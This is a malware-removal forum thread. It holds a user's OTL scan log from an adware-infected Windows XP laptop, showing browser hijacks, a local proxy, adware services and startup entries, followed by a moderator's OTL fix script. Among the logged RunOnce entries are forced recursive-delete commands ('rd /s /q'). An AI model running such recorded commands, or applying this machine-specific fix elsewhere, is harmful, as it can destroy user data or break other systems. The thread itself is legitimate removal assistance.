FF - prefs.js..extensions.enabledAddons: %7B972ce4c6-7e08-4474-a285-3208198ce6fd%7D:26.0
FF - prefs.js..browser.startup.homepage: "http://start.mysearc...cr=588007132="
 
FF - user.js..browser.search.selectedEngine: "Speedial"
FF - user.js..browser.startup.homepage: "http://speedial.com/...r=1239874711="
 
FF - HKLM\Software\MozillaPlugins\@adobe.com/FlashPlayer: C:\WINDOWS\system32\Macromed\Flash\NPSWF32_13_0_0_214.dll ()
FF - HKLM\Software\MozillaPlugins\@Apple.com/iTunes,version=:  File not found
FF - HKLM\Software\MozillaPlugins\@Apple.com/iTunes,version=1.0: C:\Program Files\iTunes\Mozilla Plugins\npitunes.dll ()
FF - HKLM\Software\MozillaPlugins\@Microsoft.com/DownloadManager,version=1.1: C:\WINDOWS\ [2014/05/22 20:08:42 | 000,000,000 | ---D | M]
FF - HKLM\Software\MozillaPlugins\@Microsoft.com/NpCtrl,version=1.0: c:\Program Files\Microsoft Silverlight\5.1.30214.0\npctrl.dll ( Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@microsoft.com/WPF,version=3.5: c:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\NPWPF.dll (Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@RIM.com/WebSLLauncher,version=1.0: C:\Program Files\Common Files\Research In Motion\BBWebSLLauncher\NPWebSLLauncher.dll ()
FF - HKLM\Software\MozillaPlugins\@tools.google.com/Google Update;version=3: C:\Program Files\Google\Update\1.3.24.7\npGoogleUpdate3.dll (Google Inc.)
FF - HKLM\Software\MozillaPlugins\@tools.google.com/Google Update;version=9: C:\Program Files\Google\Update\1.3.24.7\npGoogleUpdate3.dll (Google Inc.)
FF - HKLM\Software\MozillaPlugins\@videolan.org/vlc,version=2.0.5: C:\Program Files\VideoLAN\VLC\npvlc.dll (VideoLAN)
FF - HKCU\Software\MozillaPlugins\@adobe.com/Acrobat,version=5.1: C:\Program Files\Adobe\Acrobat 5.0\Reader\Browser\nppdf32.dll (Adobe Systems Inc.)
 
FF - HKEY_LOCAL_MACHINE\software\mozilla\Mozilla Firefox 26.0\extensions\\Components: C:\Program Files\Mozilla Firefox\components
FF - HKEY_LOCAL_MACHINE\software\mozilla\Mozilla Firefox 26.0\extensions\\Plugins: C:\Program Files\Mozilla Firefox\plugins
 
[2013/04/04 23:26:09 | 000,000,000 | ---D | M] (No name found) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Extensions
[2014/05/23 01:59:16 | 000,000,000 | ---D | M] (No name found) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions
[2014/05/23 01:59:16 | 000,000,000 | ---D | M] (Discount Dragon) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\{D8A30808-3888-E608-3AA4-A2CEA2623402}
[2014/05/04 14:55:55 | 000,000,000 | ---D | M] ("MediaPlayerplus") -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\a9719e64-232b-4695-ae9c-a89cd7f2aa84@ca1279df-bc0d-44a8-97ef-19301c922b68.com
[2014/05/23 01:43:11 | 000,000,000 | ---D | M] (No name found) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged
[2014/05/04 14:55:54 | 000,000,000 | ---D | M] (No name found) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\a9719e64-232b-4695-ae9c-a89cd7f2aa84@ca1279df-bc0d-44a8-97ef-19301c922b68.com\extensionData
[2014/05/04 14:55:53 | 000,000,000 | ---D | M] (No name found) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\a9719e64-232b-4695-ae9c-a89cd7f2aa84@ca1279df-bc0d-44a8-97ef-19301c922b68.com\extensionData\plugins
[2014/05/04 14:55:54 | 000,000,000 | ---D | M] (No name found) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\a9719e64-232b-4695-ae9c-a89cd7f2aa84@ca1279df-bc0d-44a8-97ef-19301c922b68.com\extensionData\userCode
[2014/05/23 00:05:30 | 000,007,956 | ---- | M] () (No name found) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\{9acd1534-e8f8-40cb-b5ac-4996fe01175b}.xpi
[2014/05/04 14:47:50 | 000,353,958 | ---- | M] () (No name found) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}.xpi
[2014/05/23 01:42:59 | 000,001,219 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\searchplugins\Speedial.xml
[2013/12/21 18:21:15 | 000,000,000 | ---D | M] (No name found) -- C:\Program Files\Mozilla Firefox\extensions
[2013/12/21 18:21:14 | 000,000,000 | ---D | M] (No name found) -- C:\Program Files\Mozilla Firefox\browser\extensions
[2013/12/21 18:22:14 | 000,000,000 | ---D | M] (Default) -- C:\Program Files\Mozilla Firefox\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}
[2014/05/04 15:30:12 | 000,000,000 | ---D | M] (No name found) -- C:\Program Files\Mozilla Firefox\updated\browser\extensions
[2014/05/04 15:31:09 | 000,000,000 | ---D | M] (Default) -- C:\Program Files\Mozilla Firefox\updated\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}
File not found (No name found) -- C:\DOCUMENTS AND SETTINGS\MICHAEL.TOSHIBA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\DP9XCVWZ.DEFAULT\EXTENSIONS\A0046B9B-FDB9-497F-A4B1-2A108AD6007A@5CDF80B7-0420-4BB7-B3C0-E188E6F4FB8A.COM
[2013/04/18 21:10:11 | 000,000,000 | ---D | M] (Microsoft .NET Framework Assistant) -- C:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V3.5\WINDOWS PRESENTATION FOUNDATION\DOTNETASSISTANTEXTENSION
 
O1 HOSTS File: ([2014/05/23 01:59:12 | 000,000,146 | ---- | M]) - C:\WINDOWS\system32\drivers\etc\Hosts
O1 - Hosts: 127.0.0.1       localhost
O1 - Hosts: ::1       localhost
O1 - Hosts: ਍㐵㈮㔲㤮⸵㈱श楮摫楡楡楤楩杯楡此敫捫潭捫捧敤捡
O2 - BHO: (AcroIEHlprObj Class) - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - C:\Program Files\Adobe\Acrobat 5.0\Acrobat\ActiveX\AcroIEHelper.ocx ()
O2 - BHO: (DriveLetterAccess) - {5CA3D70E-1895-11CF-8E15-001234567890} - C:\WINDOWS\system32\dla\tfswshx.dll (Sonic Solutions)
O2 - BHO: (ScanTack) - {d332cff8-358e-4c9e-8af3-a08872ef22c1} - C:\Program Files\ScanTack\ScanTackBHO.dll (ScanTack)
O2 - BHO: (Discount Dragon BHO) - {EA34C851-D481-49F5-A356-3A8B0A8F3B7E} - C:\Program Files\Discount Dragon\FrameworkBHO.dll ()
O4 - HKLM..\Run: [APSDaemon] C:\Program Files\Common Files\Apple\Apple Application Support\APSDaemon.exe (Apple Inc.)
O4 - HKLM..\Run: [BService] C:\Program Files\Bench\BService\bservice.exe ()
O4 - HKLM..\Run: [CeEKEY] C:\Program Files\TOSHIBA\E-KEY\CeEKey.exe (COMPAL ELECTRONIC INC.)
O4 - HKLM..\Run: [fst_ca_94]  File not found
O4 - HKLM..\Run: [HWSetup] C:\Program Files\TOSHIBA\TOSHIBA Applet\HWSetup.exe (TOSHIBA CO.,LTD.)
O4 - HKLM..\Run: [MSC] c:\Program Files\Microsoft Security Client\msseces.exe (Microsoft Corporation)
O4 - HKLM..\Run: [NvCplDaemon] C:\WINDOWS\System32\NvCpl.dll (NVIDIA Corporation)
O4 - HKLM..\Run: [PadTouch] C:\Program Files\TOSHIBA\Touch and Launch\PadExe.exe (TOSHIBA)
O4 - HKLM..\Run: [SmoothView] C:\Program Files\TOSHIBA\TOSHIBA Zooming Utility\SmoothView.exe (TOSHIBA Corporation)
O4 - HKLM..\Run: [SVPWUTIL] C:\Program Files\Toshiba\Windows Utilities\SVPWUTIL.exe (TOSHIBA)
O4 - HKLM..\Run: [t4pc_en_3] "C:\Program Files\t4pc_en_3\t4pc_en_3.exe" File not found
O4 - HKLM..\Run: [TCtryIOHook] C:\WINDOWS\System32\TCtrlIOHook.exe (TOSHIBA)
O4 - HKLM..\Run: [TPNF] C:\Program Files\TOSHIBA\TouchPad\TPTray.exe (COMPAL ELECTRONIC INC.)
O4 - HKLM..\Run: [TPSMain] C:\WINDOWS\System32\TPSMain.exe (TOSHIBA Corporation)
O4 - HKLM..\Run: [Tvs] C:\Program Files\TOSHIBA\Tvs\TvsTray.exe (TOSHIBA Corporation)
O4 - HKLM..\Run: [upfst_ca_94.exe] C:\Documents and Settings\Alina.TOSHIBA\Local Settings\Application Data\fst_ca_88\upfst_ca_94.exe -runhelper File not found
O4 - HKLM..\Run: [upt4pc_en_3.exe] C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\t4pc_en_3\upt4pc_en_3.exe ()
O4 - HKLM..\Run: [Wd] C:\Program Files\Bench\Wd\wd.exe ()
O4 - HKCU..\Run: [fastclean] "C:\Program Files\FastClean PRO\fastcleanpro.exe" File not found
O4 - HKCU..\Run: [TOSCDSPD] C:\Program Files\TOSHIBA\TOSCDSPD\TOSCDSPD.exe (TOSHIBA)
O4 - HKLM..\RunOnce: [Del19451687] C:\WINDOWS\System32\cmd.exe (Microsoft Corporation)
O4 - HKLM..\RunOnce: [DelTr20005109] cmd.exe /c rd /s /q  "C:\Documents and Settings\Michael.TOSHIBA\Application Data\Speedial" File not found
O4 - HKLM..\RunOnce: [Discount Dragon]  File not found
O4 - HKLM..\RunOnce: [Discount Dragon-repairJob] C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Discount Dragon\repair.js  ()
O4 - HKCU..\RunOnce: [Del19451687] C:\WINDOWS\System32\cmd.exe (Microsoft Corporation)
O4 - HKCU..\RunOnce: [DelTr20005109] cmd.exe /c rd /s /q  "C:\Documents and Settings\Michael.TOSHIBA\Application Data\Speedial" File not found
O4 - Startup: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Acrobat Assistant.lnk = C:\Program Files\Adobe\Acrobat 5.0\Distillr\AcroTray.exe (Adobe Systems Inc.)
O4 - Startup: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Adobe Gamma Loader.lnk = C:\Program Files\Common Files\Adobe\Calibration\Adobe Gamma Loader.exe (Adobe Systems, Inc.)
O4 - Startup: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\hp psc 1000 series.lnk = C:\Program Files\Hewlett-Packard\Digital Imaging\bin\hpohmr08.exe (Hewlett-Packard Co.)
O4 - Startup: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\hpoddt01.exe.lnk = C:\Program Files\Hewlett-Packard\Digital Imaging\bin\hpotdd01.exe (Hewlett-Packard)
O4 - Startup: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\RAMASST.lnk = C:\WINDOWS\system32\RAMASST.exe (Matsushita Electric Industrial Co., Ltd.)
O7 - HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDriveTypeAutoRun = 145
O9 - Extra 'Tools' menuitem : Sun Java Console - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Program Files\Java\jre1.5.0\bin\NPJPI150.dll (Sun Microsystems, Inc.)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000004 [] - C:\Program Files\Bonjour\mdnsNSP.dll (Apple Inc.)
O12 - Plugin for: .spop - C:\Program Files\Internet Explorer\PLUGINS\NPDocBox.dll (InterTrust Technologies Corporation, Inc.)
O16 - DPF: {6414512B-B978-451D-A0D8-FCFDF33E833C} http://windowsupdate...b?1365139771873 (WUWebControl Class)
O16 - DPF: {6E32070A-766D-4EE6-879C-DC1FA91D2FC3} http://www.update.mi...b?1366086642671 (MUWebControl Class)
O16 - DPF: {8AD9C840-044E-11D1-B3E9-00805F499D93} http://java.sun.com/...indows-i586.cab (Java Plug-in 1.5.0)
O16 - DPF: {B479199A-1242-4E3C-AD81-7F0DF801B4AE} http://download.micr...loadManager.cab (Microsoft Download Manager ActiveX control)
O16 - DPF: {CAFEEFAC-0015-0000-0000-ABCDEFFEDCBA} http://java.sun.com/...indows-i586.cab (Java Plug-in 1.5.0)
O17 - HKLM\System\CCS\Services\Tcpip\Parameters: DhcpNameServer = 192.168.1.254 75.153.176.9
O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{29FB9B13-C47B-4FD1-8410-EE0A0F25916A}: DhcpNameServer = 192.168.1.254 75.153.176.9
O18 - Protocol\Handler\skype4com {FFC8B962-9B40-4DFF-9458-1830C7DD7F5D} - C:\Program Files\Common Files\Skype\Skype4COM.dll (Skype Technologies)
O20 - HKLM Winlogon: Shell - (Explorer.exe) - C:\WINDOWS\explorer.exe (Microsoft Corporation)
O20 - HKLM Winlogon: UserInit - (C:\WINDOWS\system32\userinit.exe) - C:\WINDOWS\system32\userinit.exe (Microsoft Corporation)
O20 - Winlogon\Notify\AtiExtEvent: DllName - (Ati2evxx.dll) - C:\WINDOWS\System32\ati2evxx.dll (ATI Technologies Inc.)
O20 - Winlogon\Notify\igfxcui: DllName - (igfxsrvc.dll) - C:\WINDOWS\System32\igfxsrvc.dll (Intel Corporation)
O24 - Desktop WallPaper: C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Microsoft\Wallpaper1.bmp
O24 - Desktop BackupWallPaper: C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Microsoft\Wallpaper1.bmp
O28 - HKLM ShellExecuteHooks: {A213B520-C6C2-11d0-AF9D-008029E1027E} - C:\Program Files\WinFax\WFXSEH32.DLL (Symantec Corporation)
O32 - HKLM CDRom: AutoRun - 1
O32 - AutoRun File - [2005/05/12 15:34:28 | 000,000,000 | ---- | M] () - C:\AUTOEXEC.BAT -- [ NTFS ]
O34 - HKLM BootExecute: (autocheck autochk *)
O35 - HKLM\..comfile [open] -- "%1" %*
O35 - HKLM\..exefile [open] -- "%1" %*
O37 - HKLM\...com [@ = comfile] -- "%1" %*
O37 - HKLM\...exe [@ = exefile] -- "%1" %*
O38 - SubSystems\\Windows: (ServerDll=winsrv:UserServerDllInitialization,3)
O38 - SubSystems\\Windows: (ServerDll=winsrv:ConServerDllInitialization,2)
 
========== Files/Folders - Created Within 30 Days ==========
 
[2014/05/27 10:31:26 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\{EA34C851-D481-49F5-A356-3A8B0A8F3B7E}
[2014/05/23 01:59:46 | 000,000,000 | ---D | C] -- C:\Documents and Settings\All Users\Start Menu\Programs\T4PC2
[2014/05/23 01:59:44 | 000,000,000 | ---D | C] -- C:\Program Files\t4pc_en_3
[2014/05/23 01:59:44 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\t4pc_en_3
[2014/05/23 01:59:24 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\BenchUpdater
[2014/05/23 01:59:19 | 000,000,000 | ---D | C] -- C:\Program Files\predm
[2014/05/23 01:59:19 | 000,000,000 | ---D | C] -- C:\Program Files\Discount Dragon
[2014/05/23 01:59:05 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Discount Dragon
[2014/05/23 01:59:05 | 000,000,000 | ---D | C] -- C:\Program Files\Bench
[2014/05/23 01:44:47 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\1H1Q
[2014/05/23 01:44:09 | 000,000,000 | ---D | C] -- C:\Documents and Settings\All Users\Application Data\Adobe
[2014/05/23 01:43:46 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\AppData
[2014/05/23 01:43:31 | 000,000,000 | ---D | C] -- C:\temp
[2014/05/23 01:43:16 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\IsolatedStorage
[2014/05/23 01:42:56 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Speedial
[2014/05/23 01:41:52 | 000,000,000 | ---D | C] -- C:\Program Files\004
[2014/05/22 20:19:08 | 000,536,576 | ---- | C] (SQLite Development Team) -- C:\WINDOWS\System32\sqlite3.dll
[2014/05/21 06:48:23 | 000,055,224 | ---- | C] (StdLib) -- C:\WINDOWS\System32\drivers\{9acd1534-e8f8-40cb-b5ac-4996fe01175b}t.sys
[2014/05/13 11:07:44 | 000,000,000 | ---D | C] -- C:\Program Files\ScanTack
[2014/05/11 12:58:49 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\mysearchdial
[2014/05/06 11:44:25 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\com
[2014/05/04 14:56:31 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\newplayer
[2014/05/04 14:56:10 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\My Documents\Optimizer Pro
[2014/05/04 14:53:51 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Start Menu\Programs\VOPackage
[2014/05/04 14:53:46 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\VOPackage
[2014/05/04 14:51:26 | 000,000,000 | ---D | C] -- C:\Program Files\fst_ca_94
[2014/05/04 14:49:58 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\SearchProtect
[2014/04/28 10:36:27 | 000,000,000 | R--D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Start Menu\Programs\Administrative Tools
[2014/04/28 10:11:38 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Desktop\StartupCPL
[2 C:\Program Files\*.tmp files -> C:\Program Files\*.tmp -> ]
[2 C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\*.tmp files -> C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\*.tmp -> ]
 
========== Files - Modified Within 30 Days ==========
 
[2014/05/27 10:32:00 | 000,000,830 | ---- | M] () -- C:\WINDOWS\tasks\Adobe Flash Player Updater.job
[2014/05/23 02:37:00 | 000,000,888 | ---- | M] () -- C:\WINDOWS\tasks\GoogleUpdateTaskMachineUA.job
[2014/05/23 02:09:00 | 000,000,336 | ---- | M] () -- C:\WINDOWS\tasks\bench-sys.job
[2014/05/23 02:01:05 | 000,000,428 | ---- | M] () -- C:\WINDOWS\tasks\At1.job
[2014/05/23 01:59:24 | 000,000,336 | ---- | M] () -- C:\WINDOWS\tasks\bench-S-1-5-21-1293464134-3710048992-3381499047-1006.job
[2014/05/23 01:59:12 | 000,000,146 | ---- | M] () -- C:\WINDOWS\System32\drivers\etc\Hosts
[2014/05/22 21:37:00 | 000,000,884 | ---- | M] () -- C:\WINDOWS\tasks\GoogleUpdateTaskMachineCore.job
[2014/05/22 20:31:31 | 000,000,384 | -H-- | M] () -- C:\WINDOWS\tasks\Microsoft Antimalware Scheduled Scan.job
[2014/05/22 20:22:05 | 000,021,876 | ---- | M] () -- C:\WINDOWS\System32\nvapps.xml
[2014/05/22 20:21:37 | 000,000,226 | ---- | M] () -- C:\WINDOWS\tasks\Microsoft Windows XP End of Service Notification Logon.job
[2014/05/22 20:21:11 | 000,002,048 | --S- | M] () -- C:\WINDOWS\bootstat.dat
[2014/05/22 20:21:09 | 2145,898,496 | -HS- | M] () -- C:\hiberfil.sys
[2014/05/22 20:16:30 | 001,326,389 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Desktop\AdwCleaner.exe
[2014/05/22 20:09:43 | 000,000,664 | ---- | M] () -- C:\WINDOWS\System32\d3d9caps.dat
[2014/05/22 19:36:00 | 000,012,800 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
[2014/05/22 14:40:07 | 000,001,824 | ---- | M] () -- C:\Documents and Settings\All Users\Desktop\Google Chrome.lnk
[2014/05/22 09:16:48 | 000,002,206 | ---- | M] () -- C:\WINDOWS\System32\wpa.dbl
[2014/05/21 07:33:29 | 000,692,400 | ---- | M] (Adobe Systems Incorporated) -- C:\WINDOWS\System32\FlashPlayerApp.exe
[2014/05/21 07:33:29 | 000,070,832 | ---- | M] (Adobe Systems Incorporated) -- C:\WINDOWS\System32\FlashPlayerCPLApp.cpl
[2014/05/19 15:01:09 | 000,000,045 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\WB.CFG
[2014/05/11 12:53:58 | 000,000,220 | ---- | M] () -- C:\WINDOWS\tasks\Microsoft Windows XP End of Service Notification Monthly.job
[2014/04/30 01:13:01 | 006,022,144 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\System32\dllcache\mshtml.dll
[2014/04/29 23:54:39 | 000,000,525 | ---- | M] () -- C:\hpfr3420.xml
[2014/04/28 11:16:02 | 000,000,394 | ---- | M] () -- C:\WINDOWS\tasks\FRU Task #Hewlett-Packard#hp psc 1200 series#1391451873.job
[2014/04/28 09:18:07 | 000,000,284 | ---- | M] () -- C:\WINDOWS\tasks\AppleSoftwareUpdate.job
[2 C:\Program Files\*.tmp files -> C:\Program Files\*.tmp -> ]
[2 C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\*.tmp files -> C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\*.tmp -> ]
 
========== Files Created - No Company Name ==========
 
[2014/05/23 01:59:07 | 000,000,336 | ---- | C] () -- C:\WINDOWS\tasks\bench-S-1-5-21-1293464134-3710048992-3381499047-1006.job
[2014/05/23 01:59:06 | 000,000,336 | ---- | C] () -- C:\WINDOWS\tasks\bench-sys.job
[2014/05/22 20:16:11 | 001,326,389 | ---- | C] () -- C:\Documents and Settings\Michael.TOSHIBA\Desktop\AdwCleaner.exe
[2014/05/19 15:01:09 | 000,000,045 | ---- | C] () -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\WB.CFG
[2014/05/13 10:51:30 | 000,214,238 | ---- | C] () -- C:\Documents and Settings\LocalService\Local Settings\Application Data\WPFFontCache_v0400-S-1-5-18-0.dat
[2014/05/12 22:01:04 | 000,000,043 | ---- | C] () -- C:\Documents and Settings\NetworkService\Application Data\WB.CFG
[2014/05/11 13:01:33 | 000,000,428 | ---- | C] () -- C:\WINDOWS\tasks\At1.job
[2014/05/06 11:53:32 | 000,214,238 | ---- | C] () -- C:\Documents and Settings\LocalService\Local Settings\Application Data\WPFFontCache_v0400-System.dat
[2014/04/28 10:12:11 | 000,081,920 | ---- | C] () -- C:\WINDOWS\System32\Startup.cpl
[2014/04/19 16:30:49 | 000,123,592 | ---- | C] () -- C:\Documents and Settings\LocalService\Local Settings\Application Data\FontCache3.0.0.0.dat
[2014/02/03 11:09:18 | 000,019,558 | ---- | C] () -- C:\WINDOWS\hpoins01.dat
[2014/02/03 11:09:18 | 000,016,606 | ---- | C] () -- C:\WINDOWS\hpomdl01.dat
[2013/08/12 01:16:46 | 000,000,070 | ---- | C] () -- C:\WINDOWS\ERROR.ini
[2013/08/12 01:08:24 | 000,000,164 | ---- | C] () -- C:\WINDOWS\Winamp.ini
[2013/04/14 17:31:13 | 000,012,800 | ---- | C] () -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
[2013/04/09 09:01:48 | 000,000,000 | ---- | C] () -- C:\WINDOWS\TPTray.INI
[2013/04/09 02:26:54 | 000,000,664 | ---- | C] () -- C:\WINDOWS\System32\d3d9caps.dat
[2013/04/06 16:25:19 | 000,000,004 | ---- | C] () -- C:\WINDOWS\vx86036.dat
[2013/04/06 16:24:29 | 000,000,048 | ---- | C] () -- C:\WINDOWS\Crypkey.ini
[2013/04/06 16:24:27 | 000,023,360 | ---- | C] () -- C:\WINDOWS\System32\Ckldrv.sys
[2013/04/06 16:24:27 | 000,011,776 | ---- | C] () -- C:\WINDOWS\Ckrfresh.exe
[2013/04/06 04:46:56 | 000,000,000 | ---- | C] () -- C:\WINDOWS\WTNSETUP.INI
[2013/04/06 04:41:03 | 000,037,888 | ---- | C] () -- C:\WINDOWS\System32\DCCWFP32.DLL
[2013/04/06 04:41:03 | 000,000,250 | ---- | C] () -- C:\WINDOWS\WINFAX.INI
[2013/04/06 04:40:57 | 000,017,920 | ---- | C] () -- C:\WINDOWS\System32\IMPLODE.DLL
[2013/04/06 04:29:06 | 000,210,944 | ---- | C] () -- C:\WINDOWS\System32\Msvcrt10.dll
[2013/04/06 04:29:01 | 000,065,536 | ---- | C] () -- C:\WINDOWS\System32\adistres.dll
[2013/04/06 03:53:34 | 000,003,072 | ---- | C] () -- C:\WINDOWS\System32\iacenc.dll
[2013/04/04 21:16:56 | 000,128,113 | ---- | C] () -- C:\WINDOWS\System32\csellang.ini
[2013/04/04 21:16:56 | 000,045,056 | ---- | C] () -- C:\WINDOWS\System32\csellang.dll
[2013/04/04 21:16:56 | 000,010,165 | ---- | C] () -- C:\WINDOWS\System32\tosmreg.ini
[2013/04/04 21:16:56 | 000,007,671 | ---- | C] () -- C:\WINDOWS\System32\cseltbl.ini
[2013/04/04 21:16:22 | 000,006,528 | ---- | C] () -- C:\WINDOWS\System32\drivers\Tbiosdrv.sys
 
========== ZeroAccess Check ==========
 
[2005/05/13 04:54:05 | 000,000,227 | RHS- | M] () -- C:\WINDOWS\assembly\Desktop.ini
 
[HKEY_CURRENT_USER\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]
 
[HKEY_CURRENT_USER\Software\Classes\clsid\{fbeb8a05-beee-4442-804e-409d6c4515e9}\InProcServer32]
 
[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]
"" = %SystemRoot%\system32\shdocvw.dll -- [2008/04/14 06:42:06 | 001,499,136 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Apartment
 
[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{5839FCA9-774D-42A1-ACDA-D6A79037F57F}\InProcServer32]
"" = C:\WINDOWS\system32\wbem\fastprox.dll -- [2009/02/09 05:10:48 | 000,473,600 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Free
 
[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InProcServer32]
"" = C:\WINDOWS\system32\wbem\wbemess.dll -- [2008/04/14 06:42:10 | 000,273,920 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Both
 
========== Alternate Data Streams ==========
 
@Alternate Data Stream - 118 bytes -> C:\Documents and Settings\All Users\Application Data\TEMP:373E1720

< End of report >


  • 0

#14
Essexboy
Posted 28 May 2014 - 02:32 PM

Essexboy

    GeekU Moderator

  • Retired Staff
  • 69,964 posts
It looks as though the latest crop was downloaded with bench on 23rd

Warning This fix is only relevant for this system and no other, using on another computer may cause problems

Be advised that when the fix commences it will shut down all running processes and you may lose the desktop and icons, they will return on reboot

Run OTL
  • Under the Custom Scans/Fixes box at the bottom, paste in the following
    OTL_Fix.GIF
:Commands
[CREATERESTOREPOINT]

:OTL
SRV - [2014/05/23 01:43:19 | 000,543,232 | ---- | M] () [Auto | Running] -- C:\Program Files\004\rqpbhevlkc32.exe -- (rqpbhevlkc32)
SRV - [2014/05/23 00:05:30 | 000,317,728 | ---- | M] () [Auto | Running] -- C:\Program Files\ScanTack\updateScanTack.exe -- (Update ScanTack)
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://speedial.com/...r=1239874711=
IE - HKLM\..\SearchScopes,DefaultScope = {31090377-0740-419E-BEFC-A56E50500D5B}
IE - HKLM\..\SearchScopes\{31090377-0740-419E-BEFC-A56E50500D5B}: "URL" = http://speedial.com/...r=1239874711=
IE - HKLM\..\SearchScopes\{DBF405DC-BD13-4BBD-B384-4540B26E4551}: "URL" = http://start.mysearc...cr=588007132=
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://speedial.com/...r=1239874711=
IE - HKCU\..\SearchScopes,DefaultScope = {DBF405DC-BD13-4BBD-B384-4540B26E4551}
IE - HKCU\..\SearchScopes\{31090377-0740-419E-BEFC-A56E50500D5B}: "URL" = http://speedial.com/...r=1239874711=
IE - HKCU\..\SearchScopes\{DBF405DC-BD13-4BBD-B384-4540B26E4551}: "URL" = http://start.mysearc...cr=588007132=
IE - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyOverride" = <-loopback>
IE - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyServer" = http=127.0.0.1:1938;https=127.0.0.1:1938
FF - prefs.js..extensions.enabledAddons: a0046b9b-fdb9-497f-a4b1-2a108ad6007a%405cdf80b7-0420-4bb7-b3c0-e188e6f4fb8a.com:0.94.22
